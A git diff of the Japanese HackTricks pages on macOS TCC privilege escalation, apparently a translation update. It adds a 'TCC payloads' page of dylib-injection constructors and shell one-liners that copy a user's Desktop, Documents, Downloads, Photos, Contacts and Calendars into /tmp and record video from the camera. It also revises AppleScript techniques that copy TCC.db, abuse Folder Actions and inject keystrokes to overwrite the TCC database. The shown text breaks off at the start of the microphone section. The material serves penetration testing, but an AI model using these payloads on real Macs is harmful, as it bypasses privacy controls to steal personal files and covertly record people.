osascript<<EOD
|
||||
|
@ -353,12 +363,7 @@ tell application "Finder"
|
|||
set homeFolder to path to home folder as string
|
||||
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
|
||||
set targetFolder to POSIX file "/tmp" as alias
|
||||
|
||||
try
|
||||
duplicate file sourceFile to targetFolder with replacing
|
||||
on error errMsg
|
||||
display dialog "Error: " & errMsg
|
||||
end try
|
||||
end tell
|
||||
EOD
|
||||
```
|
||||
|
@ -370,12 +375,7 @@ osascript<<EOD
|
|||
tell application "Finder"
|
||||
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
|
||||
set targetFolder to POSIX file "/tmp" as alias
|
||||
|
||||
try
|
||||
duplicate file sourceFile to targetFolder with replacing
|
||||
on error errMsg
|
||||
display dialog "Error: " & errMsg
|
||||
end try
|
||||
end tell
|
||||
EOD
|
||||
```
|
||||
|
@ -385,17 +385,17 @@ EOD
|
|||
これを悪用して**独自のユーザーTCCデータベースを書く**ことができます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
この権限を持っていると、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得させることができますが、afaik **Finderに任意のコードを実行させてFDAアクセスを完全に悪用することはできません**。
|
||||
この権限を持っていると、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得させることができますが、知る限りではFinderに任意のコードを実行させてFDAアクセスを完全に悪用することは**できない**でしょう。
|
||||
|
||||
したがって、FDAの能力を完全に悪用することはできません。
|
||||
{% endhint %}
|
||||
|
||||
これはFinderに対する自動化権限を得るためのTCCプロンプトです:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのような**任意のアプリを制御**できることに注意してください。したがって、Automatorを制御する権限を持っていれば、以下のようなコードで**Finder**も制御できます:
|
||||
**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのような**任意のアプリを制御**できることに注意してください。したがって、Automatorを制御する権限を持っていれば、以下のようなコードで**Finder**も制御できる可能性があります:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -422,17 +422,17 @@ EOD
|
|||
```
|
||||
</details>
|
||||
|
||||
**Script Editorアプリ**では、Finderを制御できますが、AppleScriptを使用してスクリプトを強制的に実行することはできません。
|
||||
**Script Editor アプリ**では、Finder を制御できますが、AppleScript を使用してスクリプトを強制的に実行することはできません。
|
||||
|
||||
### オートメーション (SE) から一部のTCCへ
|
||||
### オートメーション (SE) から一部の TCC へ
|
||||
|
||||
System Eventsはフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできるため、以下のようなスクリプトを使用してこの挙動を悪用することができます:
|
||||
**System Events はフォルダアクションを作成でき、フォルダアクションは一部の TCC フォルダ**(デスクトップ、ドキュメント、ダウンロード)にアクセスできるため、以下のようなスクリプトを使用してこの挙動を悪用することができます:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
var app = Application.currentApplication();
|
||||
app.includeStandardAdditions = true;
|
||||
app.doShellScript("/Applications/iTerm.app/Contents/MacOS/iTerm2");
|
||||
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
|
||||
EOD
|
||||
|
||||
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
|
||||
|
@ -464,12 +464,13 @@ enable myFolderAction
|
|||
end tell
|
||||
EOD
|
||||
|
||||
# Open the folder, this won't be enough, but just getting out of it, or getting it is enough to trigger the folder action script
|
||||
open "$HOME/Desktop"
|
||||
# File operations in the folder should trigger the Folder Action
|
||||
touch "$HOME/Desktop/file"
|
||||
rm "$HOME/Desktop/file"
|
||||
```
|
||||
### オートメーション (SE) + アクセシビリティ (**`kTCCServicePostEvent`)** から FDA\* へ
|
||||
### 自動化 (SE) + アクセシビリティ (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** を FDA\* に
|
||||
|
||||
**`System Events`** 上のオートメーション + アクセシビリティ (**`kTCCServicePostEvent`**) は、**プロセスへのキーストロークを送信**することを可能にします。この方法を利用して、Finder を悪用してユーザーの TCC.db を変更したり、任意のアプリに FDA を与えることができます(ただし、これにはパスワードの入力が求められるかもしれません)。
|
||||
**`System Events`** 上の自動化 + アクセシビリティ (**`kTCCServicePostEvent`**) は、**プロセスへのキーストロークを送信**することを可能にします。この方法を利用して、Finderを悪用してユーザーの TCC.db を変更したり、任意のアプリに FDA を与えることができます(ただし、これを行うにはパスワードの入力が求められる可能性があります)。
|
||||
|
||||
Finder がユーザーの TCC.db を上書きする例:
|
||||
```applescript
|
||||
|
@ -517,36 +518,40 @@ keystroke "v" using {command down}
|
|||
end tell
|
||||
EOF
|
||||
```
|
||||
### **エンドポイントセキュリティクライアントからFDAへ**
|
||||
### `kTCCServiceAccessibility` から FDA\* への昇格
|
||||
|
||||
**`kTCCServiceEndpointSecurityClient`** を持っていれば、FDAを持っています。終わり。
|
||||
[**アクセシビリティ権限を悪用するペイロード**](macos-tcc-payloads.md#accessibility)については、このページを確認してください。これを使ってFDA\*に昇格したり、例えばキーロガーを実行することができます。
|
||||
|
||||
### システムポリシーシスアドミンファイルからFDAへ
|
||||
### **エンドポイントセキュリティクライアントから FDA へ**
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** はユーザーの **`NFSHomeDirectory`** 属性を **変更** することを許可し、これによりホームフォルダを変更し、TCCを **バイパス** することができます。
|
||||
**`kTCCServiceEndpointSecurityClient`** を持っていれば、FDA を持っています。終わり。
|
||||
|
||||
### ユーザーTCC DBからFDAへ
|
||||
### システムポリシーSysAdminファイルから FDA へ
|
||||
|
||||
ユーザーTCCデータベースの **書き込み権限** を取得しても、自分自身に **`FDA`** 権限を付与することは **できません**。システムデータベースに存在するものだけがその権限を付与できます。
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** は、ユーザーの **`NFSHomeDirectory`** 属性を **変更** することを許可し、これによりユーザーのホームフォルダーが変更され、TCC を **バイパス** することができます。
|
||||
|
||||
しかし、**`Finderへの自動化権限`** を自分自身に付与し、前述の技術を悪用してFDAにエスカレートすることは **できます**\*。
|
||||
### ユーザー TCC DB から FDA へ
|
||||
|
||||
### **FDAからTCC権限へ**
|
||||
ユーザー TCC データベースに対する **書き込み権限** を取得しても、**`FDA`** 権限を自分自身に付与することは **できません**。それはシステムデータベースに存在するものだけが付与できます。
|
||||
|
||||
**フルディスクアクセス** のTCC名は **`kTCCServiceSystemPolicyAllFiles`** です
|
||||
しかし、**`Finderへの自動化権限`** を自分自身に付与し、前述の技術を悪用してFDA\*に昇格することは **できます**。
|
||||
|
||||
これが実際の権限昇格であるとは思いませんが、役立つかもしれないので念のために記載します:FDAを制御するプログラムを持っている場合、ユーザーのTCCデータベースを **変更し、任意のアクセス権を自分自身に付与** することができます。これは、FDA権限を失う可能性がある場合の持続性技術として役立つかもしれません。
|
||||
### **FDA から TCC 権限へ**
|
||||
|
||||
### **SIPバイパスからTCCバイパスへ**
|
||||
**フルディスクアクセス** の TCC 名は **`kTCCServiceSystemPolicyAllFiles`** です。
|
||||
|
||||
システムの **TCCデータベース** は **SIP** によって保護されているため、指定された権限を持つプロセスのみがそれを **変更することができます**。したがって、攻撃者が **ファイル** に対する **SIPバイパス**(SIPによって制限されたファイルを変更できる)を見つけた場合、以下のことが可能になります:
|
||||
これが実際の権限昇格であるとは思いませんが、役立つかもしれないので念のために記載します:FDA を制御するプログラムを持っている場合、ユーザーの TCC データベースを **変更し、任意のアクセス権を自分自身に付与することができます**。これは、FDA 権限を失う可能性がある場合の持続性技術として役立つかもしれません。
|
||||
|
||||
* TCCデータベースの保護を **解除し、すべてのTCC権限を自分自身に付与** する。例えば、これらのファイルを悪用することができます:
|
||||
* TCCシステムデータベース
|
||||
### **SIP バイパスから TCC バイパスへ**
|
||||
|
||||
システムの **TCC データベース** は **SIP** によって保護されており、そのため **指定された権限を持つプロセスのみが** それを変更することができます。したがって、攻撃者が **ファイル** に対する **SIP バイパス**(SIP によって制限されたファイルを変更できる)を見つけた場合、以下のようなことができるようになります:
|
||||
|
||||
* TCC データベースの保護を **解除し**、自分自身にすべての TCC 権限を付与する。例えば、これらのファイルを悪用できます:
|
||||
* TCC システムデータベース
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
しかし、この **SIPバイパスをTCCバイパスに悪用する** 別の方法があります。ファイル `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` は、TCC例外が必要なアプリケーションの許可リストです。したがって、攻撃者がこのファイルから **SIP保護を解除** し、自分の **アプリケーションを追加** することができれば、そのアプリケーションはTCCをバイパスできるようになります。\
|
||||
しかし、**SIP バイパスを悪用して TCC をバイパスする** 別の方法があります。ファイル `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` は、TCC 例外が必要なアプリケーションの許可リストです。したがって、攻撃者がこのファイルから **SIP 保護を解除** し、自分の **アプリケーションを追加** することができれば、そのアプリケーションは TCC をバイパスできるようになります。\
|
||||
例えば、ターミナルを追加するには:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -594,10 +599,10 @@ AllowApplicationsList.plist:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksに会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,906 @@
|
|||
# macOS TCC ペイロード
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
### デスクトップ
|
||||
|
||||
* **権限**: なし
|
||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Desktop` を `/tmp/desktop` にコピーします。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSError *error = nil;
|
||||
|
||||
// Get the path to the user's Pictures folder
|
||||
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
|
||||
NSString *tmpPhotosPath = @"/tmp/desktop";
|
||||
|
||||
// Copy the contents recursively
|
||||
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
||||
NSLog(@"Error copying items: %@", error);
|
||||
}
|
||||
|
||||
NSLog(@"Copy completed successfully.", error);
|
||||
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Desktop` を `/tmp/desktop` にコピーします。
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### ドキュメント
|
||||
|
||||
* **エンタイトルメント**: なし
|
||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Documents` を `/tmp/documents` にコピーします。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSError *error = nil;
|
||||
|
||||
// Get the path to the user's Pictures folder
|
||||
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
|
||||
NSString *tmpPhotosPath = @"/tmp/documents";
|
||||
|
||||
// Copy the contents recursively
|
||||
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
||||
NSLog(@"Error copying items: %@", error);
|
||||
}
|
||||
|
||||
NSLog(@"Copy completed successfully.", error);
|
||||
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/`Documentsを`/tmp/documents`にコピーします。
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### ダウンロード
|
||||
|
||||
* **権限**: なし
|
||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Downloads` を `/tmp/downloads` にコピーします。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSError *error = nil;
|
||||
|
||||
// Get the path to the user's Pictures folder
|
||||
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
|
||||
NSString *tmpPhotosPath = @"/tmp/downloads";
|
||||
|
||||
// Copy the contents recursively
|
||||
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
||||
NSLog(@"Error copying items: %@", error);
|
||||
}
|
||||
|
||||
NSLog(@"Copy completed successfully.", error);
|
||||
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Downloads` を `/tmp/downloads` にコピーします。
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 写真ライブラリ
|
||||
|
||||
* **権限**: `com.apple.security.personal-information.photos-library`
|
||||
* **TCC**: `kTCCServicePhotos`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Pictures/Photos Library.photoslibrary` を `/tmp/photos` にコピーします。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSError *error = nil;
|
||||
|
||||
// Get the path to the user's Pictures folder
|
||||
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
|
||||
NSString *tmpPhotosPath = @"/tmp/photos";
|
||||
|
||||
// Copy the contents recursively
|
||||
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
||||
NSLog(@"Error copying items: %@", error);
|
||||
}
|
||||
|
||||
NSLog(@"Copy completed successfully.", error);
|
||||
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Pictures/Photos Library.photoslibrary` を `/tmp/photos` にコピーします。
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 連絡先
|
||||
|
||||
* **エンタイトルメント**: `com.apple.security.personal-information.addressbook`
|
||||
* **TCC**: `kTCCServiceAddressBook`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Library/Application Support/AddressBook` を `/tmp/contacts` にコピーします。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSError *error = nil;
|
||||
|
||||
// Get the path to the user's Pictures folder
|
||||
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
|
||||
NSString *tmpPhotosPath = @"/tmp/contacts";
|
||||
|
||||
// Copy the contents recursively
|
||||
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
||||
NSLog(@"Error copying items: %@", error);
|
||||
}
|
||||
|
||||
NSLog(@"Copy completed successfully.", error);
|
||||
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Library/Application Support/AddressBook` を `/tmp/contacts` にコピーします。
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### カレンダー
|
||||
|
||||
* **権限**: `com.apple.security.personal-information.calendars`
|
||||
* **TCC**: `kTCCServiceCalendar`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
`$HOME/Library/Calendars` を `/tmp/calendars` にコピーします。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSError *error = nil;
|
||||
|
||||
// Get the path to the user's Pictures folder
|
||||
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
|
||||
NSString *tmpPhotosPath = @"/tmp/calendars";
|
||||
|
||||
// Copy the contents recursively
|
||||
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
||||
NSLog(@"Error copying items: %@", error);
|
||||
}
|
||||
|
||||
NSLog(@"Copy completed successfully.", error);
|
||||
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Library/Calendars` を `/tmp/calendars` にコピーします。
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### カメラ
|
||||
|
||||
* **権限**: `com.apple.security.device.camera`
|
||||
* **TCC**: `kTCCServiceCamera`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC - 録画" %}
|
||||
3秒間のビデオを録画し、**`/tmp/recording.mov`** に保存する
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
||||
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
|
||||
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
|
||||
|
||||
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
|
||||
@property (strong, nonatomic) AVCaptureSession *captureSession;
|
||||
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
|
||||
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
|
||||
- (void)startRecording;
|
||||
- (void)stopRecording;
|
||||
@end
|
||||
@implementation VideoRecorder
|
||||
- (instancetype)init {
|
||||
self = [super init];
|
||||
if (self) {
|
||||
[self setupCaptureSession];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
- (void)setupCaptureSession {
|
||||
self.captureSession = [[AVCaptureSession alloc] init];
|
||||
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
|
||||
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
|
||||
NSError *error;
|
||||
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
|
||||
if (error) {
|
||||
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
|
||||
return;
|
||||
}
|
||||
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
|
||||
[self.captureSession addInput:self.videoDeviceInput];
|
||||
}
|
||||
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
|
||||
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
|
||||
[self.captureSession addOutput:self.movieFileOutput];
|
||||
}
|
||||
}
|
||||
- (void)startRecording {
|
||||
[self.captureSession startRunning];
|
||||
NSString *outputFilePath = @"/tmp/recording.mov";
|
||||
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
|
||||
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
|
||||
NSLog(@"Recording started");
|
||||
}
|
||||
- (void)stopRecording {
|
||||
[self.movieFileOutput stopRecording];
|
||||
[self.captureSession stopRunning];
|
||||
NSLog(@"Recording stopped");
|
||||
}
|
||||
#pragma mark - AVCaptureFileOutputRecordingDelegate
|
||||
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
|
||||
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
|
||||
fromConnections:(NSArray<AVCaptureConnection *> *)connections
|
||||
error:(NSError *)error {
|
||||
if (error) {
|
||||
NSLog(@"Recording failed: %@", [error localizedDescription]);
|
||||
} else {
|
||||
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
|
||||
}
|
||||
}
|
||||
@end
|
||||
__attribute__((constructor))
|
||||
static void myconstructor(int argc, const char **argv) {
|
||||
freopen("/tmp/logs.txt", "a", stderr);
|
||||
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
|
||||
[videoRecorder startRecording];
|
||||
[NSThread sleepForTimeInterval:3.0];
|
||||
[videoRecorder stopRecording];
|
||||
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Check" %}
|
||||
プログラムがカメラへのアクセス権を持っているか確認します。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
||||
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
|
||||
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
|
||||
|
||||
@interface CameraAccessChecker : NSObject
|
||||
+ (BOOL)hasCameraAccess;
|
||||
@end
|
||||
@implementation CameraAccessChecker
|
||||
+ (BOOL)hasCameraAccess {
|
||||
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
|
||||
if (status == AVAuthorizationStatusAuthorized) {
|
||||
NSLog(@"[+] Access to camera granted.");
|
||||
return YES;
|
||||
} else {
|
||||
NSLog(@"[-] Access to camera denied.");
|
||||
return NO;
|
||||
}
|
||||
}
|
||||
@end
|
||||
__attribute__((constructor))
|
||||
static void telegram(int argc, const char **argv) {
|
||||
freopen("/tmp/logs.txt", "a", stderr);
|
||||
[CameraAccessChecker hasCameraAccess];
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
カメラで写真を撮る
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### マイクロフォン
|
||||
|
||||
* **権限**: **com.apple.security.device.audio-input**
|
||||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC - 録音" %}
